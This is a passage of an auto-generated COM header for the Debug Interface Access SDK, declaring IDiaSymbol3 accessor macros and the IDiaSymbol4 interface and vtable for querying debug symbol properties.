get_isPointerToDataMember(This,pRetVal) ) #define IDiaSymbol3_get_isPointerToMemberFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) #define IDiaSymbol3_get_isSingleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) #define IDiaSymbol3_get_isMultipleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) #define IDiaSymbol3_get_isVirtualInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) #define IDiaSymbol3_get_restrictedType(This,pRetVal) \ ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) #define IDiaSymbol3_get_isPointerBasedOnSymbolValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) #define IDiaSymbol3_get_baseSymbol(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) #define IDiaSymbol3_get_baseSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) #define IDiaSymbol3_get_objectFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) #define IDiaSymbol3_get_isAcceleratorGroupSharedLocal(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) #define IDiaSymbol3_get_isAcceleratorPointerTagLiveRange(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) #define IDiaSymbol3_get_isAcceleratorStubFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) #define IDiaSymbol3_get_numberOfAcceleratorPointerTags(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) #define IDiaSymbol3_get_isSdl(This,pRetVal) \ ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) #define IDiaSymbol3_get_isWinRTPointer(This,pRetVal) \ ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) #define IDiaSymbol3_get_isRefUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) #define IDiaSymbol3_get_isValueUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) #define IDiaSymbol3_get_isInterfaceUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) #define IDiaSymbol3_findInlineFramesByAddr(This,isect,offset,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) #define IDiaSymbol3_findInlineFramesByRVA(This,rva,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) #define IDiaSymbol3_findInlineFramesByVA(This,va,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) #define IDiaSymbol3_findInlineeLines(This,ppResult) \ ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) #define IDiaSymbol3_findInlineeLinesByAddr(This,isect,offset,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) #define IDiaSymbol3_findInlineeLinesByRVA(This,rva,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) #define IDiaSymbol3_findInlineeLinesByVA(This,va,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) #define IDiaSymbol3_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) \ ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) #define IDiaSymbol3_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) \ ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) #define IDiaSymbol3_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) \ ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) #define IDiaSymbol3_getSrcLineOnTypeDefn(This,ppResult) \ ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) #define IDiaSymbol3_get_isPGO(This,pRetVal) \ ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) #define IDiaSymbol3_get_hasValidPGOCounts(This,pRetVal) \ ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) #define IDiaSymbol3_get_isOptimizedForSpeed(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) #define IDiaSymbol3_get_PGOEntryCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) #define IDiaSymbol3_get_PGOEdgeCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) #define IDiaSymbol3_get_PGODynamicInstructionCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) #define IDiaSymbol3_get_staticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) #define IDiaSymbol3_get_finalLiveStaticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) #define IDiaSymbol3_get_phaseName(This,pRetVal) \ ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) #define IDiaSymbol3_get_hasControlFlowCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) #define IDiaSymbol3_get_constantExport(This,pRetVal) \ ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) #define IDiaSymbol3_get_dataExport(This,pRetVal) \ ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) #define IDiaSymbol3_get_privateExport(This,pRetVal) \ ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) #define IDiaSymbol3_get_noNameExport(This,pRetVal) \ ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) #define IDiaSymbol3_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) #define IDiaSymbol3_get_exportIsForwarder(This,pRetVal) \ ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) #define IDiaSymbol3_get_ordinal(This,pRetVal) \ ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) #define IDiaSymbol3_get_frameSize(This,pRetVal) \ ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) #define IDiaSymbol3_get_exceptionHandlerAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) #define IDiaSymbol3_get_exceptionHandlerAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) #define IDiaSymbol3_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol3_get_exceptionHandlerVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) #define IDiaSymbol3_findInputAssemblyFile(This,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) #define IDiaSymbol3_get_characteristics(This,pRetVal) \ ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) #define IDiaSymbol3_get_coffGroup(This,pRetVal) \ ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) #define IDiaSymbol3_get_bindID(This,pRetVal) \ ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) #define IDiaSymbol3_get_bindSpace(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) #define IDiaSymbol3_get_bindSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) #define IDiaSymbol3_get_isObjCClass(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) #define IDiaSymbol3_get_isObjCCategory(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) #define IDiaSymbol3_get_isObjCProtocol(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) #define IDiaSymbol3_get_inlinee(This,pRetVal) \ ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) #define IDiaSymbol3_get_inlineeId(This,pRetVal) \ ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol3_get_inlinee_Proxy( IDiaSymbol3 * This, /* [retval][out] */ IDiaSymbol **pRetVal); void __RPC_STUB IDiaSymbol3_get_inlinee_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol3_get_inlineeId_Proxy( IDiaSymbol3 * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol3_get_inlineeId_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); #endif /* __IDiaSymbol3_INTERFACE_DEFINED__ */ #ifndef __IDiaSymbol4_INTERFACE_DEFINED__ #define __IDiaSymbol4_INTERFACE_DEFINED__ /* interface IDiaSymbol4 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSymbol4; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("bf6c88a7-e9d6-4346-99a1-d053de5a7808") IDiaSymbol4 : public IDiaSymbol3 { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_noexcept( /* [retval][out] */ BOOL *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaSymbol4Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSymbol4 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSymbol4 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSymbol4 * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( IDiaSymbol4 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaSymbol4 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( IDiaSymbol4 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaSymbol4 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( IDiaSymbol4 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( IDiaSymbol4 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( IDiaSymbol4 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( IDiaSymbol4 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( IDiaSymbol4 * This, /* [retval][out] */ VARIANT *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( IDiaSymbol4 * This, /* [retval][out] */ GUID *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( IDiaSymbol4 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( IDiaSymbol4 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( IDiaSymbol4 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( IDiaSymbol4 * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *findChildren )( IDiaSymbol4 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( IDiaSymbol4 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( IDiaSymbol4 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( IDiaSymbol4 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( IDiaSymbol4 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( IDiaSymbol4 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_types )( IDiaSymbol4 * This, /* [in] */ DWORD cTypes, /* [out] */ DWORD *pcTypes, /* [size_is][size_is][out] */ IDiaSymbol **pTypes); HRESULT ( STDMETHODCALLTYPE *get_typeIds )( IDiaSymbol4 * This, /* [in] */ DWORD cTypeIds, /* [out] */ DWORD *pcTypeIds, /* [size_is][out] */ DWORD *pdwTypeIds); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( IDiaSymbol4 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( IDiaSymbol4 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( IDiaSymbol4 * This, /* [in] */ DWORD undecorateOptions, /* [out] */ BSTR *name); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( IDiaSymbol4 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( IDiaSymbol4 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE 